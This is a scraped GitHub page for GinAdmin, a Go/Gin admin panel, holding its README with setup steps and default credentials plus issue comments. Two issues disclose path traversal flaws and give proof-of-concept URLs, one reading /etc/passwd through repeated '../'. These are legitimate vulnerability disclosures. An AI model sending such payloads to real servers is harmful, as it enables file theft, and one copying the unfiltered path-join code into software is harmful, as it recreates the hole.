GinAdmin 这个项目是以Gin框架为基础搭建的后台管理平台,

GinAdmin

这个项目是以Gin框架为基础搭建的后台管理平台,虽然很多人都认为go是用来开发高性能服务端项目的,但是也难免有要做web管理端的需求,总不能再使用别的语言来开发吧。所以整合出了GinAdmin项目,请大家多提意见指正!

依赖

  • golang > 1.8

依赖

  • Gin
  • BootStrap
  • LayUi
  • WebUpload

使用文档

开始使用

  1. git 克隆地址

    git clone https://github.com/gphper/ginadmin.git
    
  2. 下载依赖包

    go mod download
  3. 配置 conf/config.ini文件

    [mysql]
    username=root
    password=123456
    database=db_beego
    host=127.0.0.1
    port=3306
    max_open_conn=50
    max_idle_conn=20
    [session]
    session_name=gosession_id
    [base]
    port=:8091
    
  4. 运行 go run main.go访问地址 http://localhost:端口地址/admin/login。默认账户:admin 密码:111111

docker-compose构建环境

  1. 替换conf目录下的配置项

    [mysql]
    username=docker
    password=123456
    database=docker_mysql
    host=localmysql
    port=3306
    max_open_conn=50
    max_idle_conn=20
    [session]
    session_name=gosession_id
    [base]
    host=0.0.0.0
    port=20010
    fill_data=true
  2. 执行命令 docker-compose up

项目目录

|--api  // Api接口控制器
|--comment // 封装的公共方法
|--conf // 配置文件
|--controllers // Admin控制器存在目录
|--logs // 日志存放目录
|--middleware //中间件
|--models //Gorm中的model类
|--router //自定义路由目录
|--statics //css js等静态文件目录
|--uploadfile //上传文件目录
|--views //视图模板目录

分页

  1. 使用 comment/util.go 里面的 PageOperation 进行分页
    adminDb := models.Db.Table("admin_users").Select("nickname","username").Where("uid != ?", 1)
    adminUserData := comment.PageOperation(c, adminDb, 1, &adminUserList)
  2. 在html中使用
    {{ .adminUserData.PageHtml }}

日志

  1. 自定义日志 在 comment/loggers 目录下新建logger
    参考 userlog.go 文件
    
  2. 调用自定义的的logger写日志
    loggers.UserLogger.Info("无法获取网址",
    zap.String("url", "http://www.baidu.com"),
    zap.Int("attempt", 3),
    zap.Duration("backoff", time.Second),)

数据库

  1. 数据库迁移,将定义好的model填充写到下面的 AutoMigrate 方法中

    Db.Set("gorm:table_options", "ENGINE=InnoDB").AutoMigrate(&AdminUsers{},&AdminGroup{})
  2. 数据填充,将数据写入到 models\default.go 下面的 FillData

定时任务

  • comment/cron/cron.go 添加定时执行任务

配置文件

  1. 现在 conf/conf.go 添加配置项的 struct 类型,例如

    type AppConf struct {
    	BaseConf `ini:"base"`
    }
    type BaseConf struct {
    	Port string `ini:"port"`
    }
  2. conf/conf.ini 添加配置信息

    [base]
    port=:8091
    
  3. 在代码中调用配置文件的信息

    conf.App.BaseConf.Port

模板页面

  • 所有的后台模板都写到 views/template 目录下面,并且分目录存储,调用时按照 目录/模板名称 的方式调用

用户权限

  • 菜单权限定义到 comment/menu/menu.go 文件下,定义完之后在用户组管理里面编辑权限

  • 在控制器中可用从 gin.context 获取权限

    privs,_ := c.Get("userPrivs")
  • template 中判断权限的函数 judgeContainPriv 定义在 comment/template/default.go 文件下

    "judgeContainPriv": func(privMap map[string]interface{},priv string)bool {
    	//判断权限是all的全通过
    	_,o :=privMap["all"]
    	if o {
    		return true
    	}
    	_,ok := privMap[priv]
    	return ok
    },
Comments
  • Read Any File Vulnerability

    Read Any File Vulnerability

    Vulnerability file address

    internal/controllers/admin/setting/adminSystemController.go line 135 c.Query("path")The incoming path value is not filtered, resulting in arbitrary file reading

    filePath := gstrings.JoinStr(configs.RootPath, c.Query("path"))
    	fi, err := os.Open(filePath)
    	if err != nil {
    		con.ErrorHtml(c, err)
    		return
    	}
    

    POC

    http://ip:port/admin/setting/system/view?path=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

    Attack results pictures

    image-20220504190918936

  • can not login to demo

    can not login to demo

    Hi, I cannot login to http://122.152.196.83/admin/login by admin/111111 with a notification of verification code number wrong. I am pretty sure I entered the right code. image

  • Directory Traversal Vulnerability

    Directory Traversal Vulnerability

    Vulnerability file address

    internal/controllers/admin/setting/adminSystemController.go line 83 ,c.Query("path") the incoming path value is not filtered, resulting in directory traversal.

    path = gstrings.JoinStr(configs.RootPath, c.Query("path"))
    
    	files, err = ioutil.ReadDir(path)
    	if err != nil {
    		con.Error(c, "获取目录失败")
    		return
    	}
    

    POC

    http://ip:port/admin/setting/system/getdir?path=

    Attack results pictures

    image-20220504175652799

  • 运行后打开网页报错【404 page not found】

    运行后打开网页报错【404 page not found】

    运行时信息如下:

    GOROOT=/usr/local/Cellar/go/1.16.3/libexec #gosetup GOPATH=/Users/liuyang/go #gosetup /usr/local/Cellar/go/1.16.3/libexec/bin/go build -o /private/var/folders/_5/4d60syxn7kx2nh3mkt_dr7kc0000gn/T/___go_build_main_go /Users/liuyang/go/src/ginadmin-master/main.go #gosetup /private/var/folders/_5/4d60syxn7kx2nh3mkt_dr7kc0000gn/T/___go_build_main_go rootpath:/Users/liuyang/go/src/ginadmin-master

    2021/06/17 13:32:13 /Users/liuyang/go/src/ginadmin-master/models/default.go:41 Error 1292: Incorrect datetime value: '0000-00-00' for column 'created_at' at row 1 [0.606ms] [rows:0] UPDATE admin_groups SET group_name='管理员组',privs='{"all":{}}',created_at='0000-00-00 00:00:00',updated_at='2021-06-17 13:32:13.034' WHERE group_id = 1

    2021/06/17 13:32:13 /Users/liuyang/go/src/ginadmin-master/models/default.go:56 Error 1292: Incorrect datetime value: '0000-00-00' for column 'created_at' at row 1 [0.503ms] [rows:0] UPDATE admin_users SET group_id=1,username='admin',nickname='管理员',password='9976788d29525b023a8bc67495a87292',phone='',last_login='',salt='HBLKJI',api_token='',eated_at='0000-00-00 00:00:00',updated_at='2021-06-17 13:32:13.034' WHEREuid` = 1 [GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.

    [GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.

    • using env: export GIN_MODE=release
    • using code: gin.SetMode(gin.ReleaseMode)

    [GIN-debug] GET /admin/login --> ginadmin-master/controllers.(*LoginController).Login.func1 (5 handlers) [GIN-debug] POST /admin/login --> ginadmin-master/controllers.(*LoginController).Login.func1 (5 handlers) [GIN-debug] GET /admin/login_out --> ginadmin-master/controllers.(*LoginController).LoginOut.func1 (5 handlers) [GIN-debug] POST /admin/login_out --> ginadmin-master/controllers.(*LoginController).LoginOut.func1 (5 handlers) [GIN-debug] GET /admin/home/ --> ginadmin-master/controllers.(*HomeController).Home.func1 (6 handlers) [GIN-debug] GET /admin/home/welcome --> ginadmin-master/controllers.(*HomeController).Welcome.func1 (6 handlers) [GIN-debug] GET /admin/home/edit_password --> ginadmin-master/controllers.(*HomeController).EditPassword.func1 (6 handlers) [GIN-debug] POST /admin/home/save_password --> ginadmin-master/controllers.(*HomeController).SavePassword.func1 (6 handlers) [GIN-debug] GET /admin/setting/admingroup/index --> ginadmin-master/controllers/setting.(*AdminGroupController).Index.func1 (7 handlers) [GIN-debug] GET /admin/setting/admingroup/add --> ginadmin-master/controllers/setting.(*AdminGroupController).AddIndex.func1 (7 handlers) [GIN-debug] POST /admin/setting/admingroup/save --> ginadmin-master/controllers/setting.(*AdminGroupController).Save.func1 (7 handlers) [GIN-debug] GET /admin/setting/admingroup/edit --> ginadmin-master/controllers/setting.(*AdminGroupController).Edit.func1 (7 handlers) [GIN-debug] GET /admin/setting/admingroup/del --> ginadmin-master/controllers/setting.(*AdminGroupController).Del.func1 (7 handlers) [GIN-debug] GET /admin/setting/adminuser/index --> ginadmin-master/controllers/setting.(*AdminUserController).Index.func1 (7 handlers) [GIN-debug] GET /admin/setting/adminuser/add --> ginadmin-master/controllers/setting.(*AdminUserController).AddIndex.func1 (7 handlers) [GIN-debug] POST /admin/setting/adminuser/save --> ginadmin-master/controllers/setting.(*AdminUserController).Save.func1 (7 handlers) [GIN-debug] GET /admin/setting/adminuser/edit --> ginadmin-master/controllers/setting.(*AdminUserController).Edit.func1 (7 handlers) [GIN-debug] GET /admin/setting/adminuser/del --> ginadmin-master/controllers/setting.(*AdminUserController).Del.func1 (7 handlers) [GIN-debug] GET /admin/setting/system/index --> ginadmin-master/controllers/setting.(*AdminSystemController).Index.func1 (7 handlers) [GIN-debug] GET /admin/setting/system/getdir --> ginadmin-master/controllers/setting.(*AdminSystemController).GetDir.func1 (7 handlers) [GIN-debug] GET /admin/setting/system/view --> ginadmin-master/controllers/setting.(*AdminSystemController).View.func1 (7 handlers) [GIN-debug] GET /admin/demo/show --> ginadmin-master/controllers/demo.(*UploadController).Show.func1 (7 handlers) [GIN-debug] POST /admin/demo/upload --> ginadmin-master/controllers/demo.(*UploadController).Upload.func1 (7 handlers) [GIN-debug] GET /api/user/list --> ginadmin-master/api/apiuser.(*ApiUserController).UserList.func1 (4 handlers) [GIN-debug] GET /statics/*filepath --> github.com/gin-gonic/gin.(*RouterGroup).createStaticHandler.func1 (4 handlers) [GIN-debug] HEAD /statics/*filepath --> github.com/gin-gonic/gin.(*RouterGroup).createStaticHandler.func1 (4 handlers) [GIN-debug] GET /uploadfile/*filepath --> github.com/gin-gonic/gin.(*RouterGroup).createStaticHandler.func1 (4 handlers) [GIN-debug] HEAD /uploadfile/*filepath --> github.com/gin-gonic/gin.(*RouterGroup).createStaticHandler.func1 (4 handlers)

    打开网页显示【404 page not found】

    是我需要修改main.go的函数吗?(为啥.html前面是*号呢?) func loadTemplates(templatesDir string) multitemplate.Renderer { r := multitemplate.NewRenderer()

    layouts, err := filepath.Glob(templatesDir + "/layout/*.html")
    if err != nil {
    	panic(err.Error())
    }
    includes, err := filepath.Glob(templatesDir + "/template/*/*.html")
    if err != nil {
    	panic(err.Error())
    }
    for _, include := range includes {
    	layoutCopy := make([]string, len(layouts))
    	copy(layoutCopy, layouts)
    	files := append(layoutCopy, include)
    	dirSlice := strings.Split(include, comment.GetLine())
    	fileName := strings.Join(dirSlice[2:], "/")
    	r.AddFromFilesFuncs(fileName, template2.GlobalTemplateFun, files...)
    }
    return r
    

    }

  • Security concern

    Security concern

    Hello 👋

    I run a security community that finds and fixes vulnerabilities in OSS. A researcher (@gaurav-g2) has found a potential issue, which I would be eager to share with you.

    Could you add a SECURITY.md file with an e-mail address for me to send further details to? GitHub recommends a security policy to ensure issues are responsibly disclosed, and it would help direct researchers in the future.

    Looking forward to hearing from you 👍

    (cc @huntr-helper)